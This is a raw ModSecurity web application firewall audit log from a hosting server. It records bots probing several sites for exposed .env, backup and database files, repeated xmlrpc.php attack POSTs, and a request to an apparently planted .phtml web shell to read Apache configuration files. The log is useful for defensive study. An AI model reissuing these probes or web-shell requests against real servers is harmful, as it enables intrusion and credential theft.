943843; combined=2471, p1=424, p2=1599, p3=43, p4=69, p5=203, sr=115, sw=133, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79b86672-Z-- --ad006d1a-A-- [16/Jun/2025:02:35:19.758063 +0530] aE81js0RsCO0eBtdhx7AzwAAAAg 185.177.72.210 44876 127.0.0.1 7081 --ad006d1a-B-- GET /config/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad006d1a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c88e718e25eab743c88950a052e999ab1750021519; expires=Sun, 15 Jun 2025 22:05:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad006d1a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.backup"] [unique_id "aE81js0RsCO0eBtdhx7AzwAAAAg"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.backup"] [unique_id "aE81js0RsCO0eBtdhx7AzwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021518982376 775750 (- - -) Stopwatch2: 1750021518982376 775750; combined=1934, p1=411, p2=1396, p3=0, p4=0, p5=126, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad006d1a-Z-- --e2066110-A-- [16/Jun/2025:02:35:22.666889 +0530] aE81kXwizUED0-SK4eRJVgAAAAE 185.177.72.210 53426 127.0.0.1 7081 --e2066110-B-- GET /development/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e2066110-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c74c82eeab5189d369ed787fbbf51871750021522; expires=Sun, 15 Jun 2025 22:05:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e2066110-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/development/.env"] [unique_id "aE81kXwizUED0-SK4eRJVgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021521992580 674381 (- - -) Stopwatch2: 1750021521992580 674381; combined=1680, p1=391, p2=1205, p3=0, p4=0, p5=84, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e2066110-Z-- --64a8b826-A-- [16/Jun/2025:02:35:26.590279 +0530] aE81lXwizUED0-SK4eRJVwAAAAE 185.177.72.210 53564 127.0.0.1 7081 --64a8b826-B-- GET /:8888/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64a8b826-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0cdcd57f8299a4f157cc86183b4a54831750021526; expires=Sun, 15 Jun 2025 22:05:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64a8b826-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/temp/.env"] [unique_id "aE81lXwizUED0-SK4eRJVwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021525911893 678449 (- - -) Stopwatch2: 1750021525911893 678449; combined=1872, p1=449, p2=1334, p3=0, p4=0, p5=88, sr=144, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64a8b826-Z-- --f5c91f72-A-- [16/Jun/2025:02:35:36.148855 +0530] aE81oM0RsCO0eBtdhx7A1gAAAAg 35.169.240.53 50312 127.0.0.1 7081 --f5c91f72-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/apache2&viewfile=//etc/apache2/apache2.conf.saved_by_psa.09.02;18:59 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 35.169.240.53 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --f5c91f72-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6074 Connection: close Content-Type: text/html; charset=UTF-8 --f5c91f72-H-- Message: Warning. Matched phrase "etc/apache2/apache2.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/apache2.conf found within ARGS:viewfile: /etc/apache2/apache2.conf.saved_by_psa.09.02;18:59"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/apache2.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/apache2.conf found within ARGS:viewfile: /etc/apache2/apache2.conf.saved_by_psa.09.02;18:59"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE81oM0RsCO0eBtdhx7A1gAAAAg"] Apache-Handler: application/x-httpd-php Stopwatch: 1750021536144695 4212 (- - -) Stopwatch2: 1750021536144695 4212; combined=1970, p1=335, p2=1504, p3=33, p4=43, p5=55, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5c91f72-Z-- --fb41591a-A-- [16/Jun/2025:02:35:50.654337 +0530] aE81rYv0YhcYGG7mzIpnuQAAABU 128.199.112.101 50074 127.0.0.1 7081 --fb41591a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fb41591a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fb41591a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE81rYv0YhcYGG7mzIpnuQAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021549709642 944764 (- - -) Stopwatch2: 1750021549709642 944764; combined=2318, p1=479, p2=1385, p3=48, p4=68, p5=207, sr=176, sw=131, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb41591a-Z-- --71569975-A-- [16/Jun/2025:02:35:55.893347 +0530] aE81syHEjD4mqWjYVm15kwAAABM 185.177.72.210 50204 127.0.0.1 7081 --71569975-B-- GET /:8008/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71569975-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b86e7fb85072353d85a944d9e3a4a6261750021555; expires=Sun, 15 Jun 2025 22:05:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71569975-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/example/.env"] [unique_id "aE81syHEjD4mqWjYVm15kwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021555241945 651488 (- - -) Stopwatch2: 1750021555241945 651488; combined=2489, p1=487, p2=1912, p3=0, p4=0, p5=89, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71569975-Z-- --1be3711c-A-- [16/Jun/2025:02:35:59.161226 +0530] aE81tjW73rwPI0SU-ijwZgAAAAA 185.177.72.210 50328 127.0.0.1 7081 --1be3711c-B-- GET /:8181/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1be3711c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b88eb775b9af8c709d3867cd92005a91750021559; expires=Sun, 15 Jun 2025 22:05:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1be3711c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/administrateur/.env.staging"] [unique_id "aE81tjW73rwPI0SU-ijwZgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021558494703 666587 (- - -) Stopwatch2: 1750021558494703 666587; combined=1930, p1=372, p2=1464, p3=0, p4=0, p5=93, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1be3711c-Z-- --fc62b731-A-- [16/Jun/2025:02:36:51.006686 +0530] aE816lfWRcme38U-qk7qIAAAAAI 128.199.112.101 60110 127.0.0.1 7081 --fc62b731-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fc62b731-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fc62b731-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE816lfWRcme38U-qk7qIAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021610070593 936147 (- - -) Stopwatch2: 1750021610070593 936147; combined=2262, p1=402, p2=1571, p3=30, p4=45, p5=134, sr=118, sw=80, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc62b731-Z-- --1a21ad2b-A-- [16/Jun/2025:02:37:04.946096 +0530] aE81-NxCjYf3vhjKXItw0gAAAA8 185.177.72.210 53972 127.0.0.1 7081 --1a21ad2b-B-- GET /:8443/apps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1a21ad2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=88a7de523291e2fe2911a010f43b0daa1750021624; expires=Sun, 15 Jun 2025 22:07:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1a21ad2b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/apps/.env"] [unique_id "aE81-NxCjYf3vhjKXItw0gAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021624179813 766354 (- - -) Stopwatch2: 1750021624179813 766354; combined=1906, p1=408, p2=1370, p3=0, p4=0, p5=127, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a21ad2b-Z-- --4c02b924-A-- [16/Jun/2025:02:37:06.057596 +0530] aE81-VfWRcme38U-qk7qJgAAAAI 185.177.72.210 54022 127.0.0.1 7081 --4c02b924-B-- GET /Vagrantfile.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c02b924-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7ce0a2a45b6f23ce72d03c2dbf0e4f6e1750021625; expires=Sun, 15 Jun 2025 22:07:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c02b924-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Vagrantfile.backup"] [unique_id "aE81-VfWRcme38U-qk7qJgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021625393110 664565 (- - -) Stopwatch2: 1750021625393110 664565; combined=1927, p1=343, p2=1472, p3=0, p4=0, p5=111, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c02b924-Z-- --01ceac3f-A-- [16/Jun/2025:02:37:14.023812 +0530] aE82ATW73rwPI0SU-ijwgwAAAAA 185.177.72.210 45428 127.0.0.1 7081 --01ceac3f-B-- GET /:8888/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --01ceac3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=68bde064dfe0481217c16ae8c06d02a71750021633; expires=Sun, 15 Jun 2025 22:07:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --01ceac3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.backup"] [unique_id "aE82ATW73rwPI0SU-ijwgwAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.backup"] [unique_id "aE82ATW73rwPI0SU-ijwgwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021633336613 687275 (- - -) Stopwatch2: 1750021633336613 687275; combined=2059, p1=403, p2=1508, p3=0, p4=0, p5=148, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --01ceac3f-Z-- --7c9e1e62-A-- [16/Jun/2025:02:37:19.832254 +0530] aE82B1fWRcme38U-qk7qLAAAAAI 185.177.72.210 45692 127.0.0.1 7081 --7c9e1e62-B-- GET /members.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c9e1e62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c8868fb4eaa2af6df12bb14f23caac4e1750021639; expires=Sun, 15 Jun 2025 22:07:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c9e1e62-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/members.mdb"] [unique_id "aE82B1fWRcme38U-qk7qLAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021639171572 660786 (- - -) Stopwatch2: 1750021639171572 660786; combined=1866, p1=306, p2=1425, p3=0, p4=0, p5=135, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c9e1e62-Z-- --23d0df1e-A-- [16/Jun/2025:02:37:35.318214 +0530] aE82Fov0YhcYGG7mzIpn4wAAABU 185.177.72.210 44430 127.0.0.1 7081 --23d0df1e-B-- GET /settings.py.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --23d0df1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f546b9804c35d5c45f7208ff8fb65cd31750021655; expires=Sun, 15 Jun 2025 22:07:35 GMT; Max-Age=3600; path=/; secure; HttpOnly 